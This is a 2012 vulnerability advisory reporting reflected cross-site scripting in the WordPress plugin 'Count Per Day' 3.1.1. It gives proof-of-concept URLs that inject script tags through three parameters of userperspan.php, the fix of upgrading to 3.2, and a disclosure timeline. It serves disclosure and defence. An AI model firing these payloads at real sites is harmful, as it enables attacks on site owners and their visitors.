WordPress Count Per Day 3.1.1 Cross Site Scripting

`Advisory: WordPress Plugin 'Count Per Day' 3.1.1 Multiple Cross-site scripting vulnerabilities  
Advisory ID: SSCHADV2012-015  
Author: Stefan Schurtz  
Affected Software: Successfully tested on 'Count Per Day' 3.1.1  
Vendor URL: http://www.tomsdimension.de/wp-plugins/count-per-day  
Vendor Status: fixed  
  
==========================  
Vulnerability Description  
==========================  
  
The WordPress plugin 'Count Per Day' 3.1.1' is prone to multiple XSS vulnerabilities  
  
==================  
PoC-Exploit  
==================  
  
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(88)</script>  
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?page="/><script>alert(/xss/)</script>  
  
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(88)</script>  
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemin="/><script>alert(/xss/)</script>  
  
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(88)</script>  
http://[target]/wordpress/wp-content/plugins/count-per-day/userperspan.php?datemax="/><script>alert(/xss/)</script>  
  
=========  
Solution  
=========  
  
Upgrade to the latest version 3.2  
  
====================  
Disclosure Timeline  
====================  
  
29-Jun-2012 - vendor informed (contact form)  
02-Jul-2012 - verified by Meistar  
03-Jul-2012 - feedback from developer  
14-Jul-2012 - fixed by developer  
  
========  
Credits  
========  
  
Vulnerabilities found and advisory written by Stefan Schurtz.  
  
===========  
References  
===========  
  
http://wordpress.org/extend/plugins/count-per-day/changelog/  
http://www.darksecurity.de/advisories/2012/SSCHADV2012-015.txt  
`